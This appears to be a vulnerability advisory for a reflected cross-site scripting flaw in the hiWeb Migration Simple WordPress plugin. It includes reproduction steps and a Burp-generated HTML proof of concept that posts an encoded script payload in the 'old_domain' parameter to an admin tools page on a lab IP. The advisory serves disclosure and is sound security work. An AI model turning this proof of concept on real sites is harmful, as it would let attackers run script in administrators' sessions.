hiWeb Migration Simple <= 2.0.0.1 Reflected Cross-Site Scripting

2023-04-1200:00:00

Shreya Pohekar

xss

web migration simple

admin login

cross-site scripting

0.0005 Low

EPSS

Percentile

17.0%

JSON

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high-privilege users such as admins. The hiweb-migration-simple plugin is vulnerable to POST based XSS on endpoint http://172.28.128.6/wordpress/wp-admin/tools.php?page=hw_migration_simple via POST parameter old_domain. This happens because of improper handling of user supplied input that is reflected on the page.

1. Login as Admin.
2. Open the .html file in the same browser session.
```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.28.128.6/wordpress/wp-admin/tools.php?page=hw_migration_simple" method="POST">
      <input type="hidden" name="old&#95;domain" value="&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="new&#95;domain" value="http&#58;&#47;&#47;qwer&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

```
3. XSS will be triggered.

0.0005 Low

EPSS

Percentile

17.0%

JSON

Related for WPEX-ID:1D4A2F0E-A371-4E27-98DE-528E070F41B0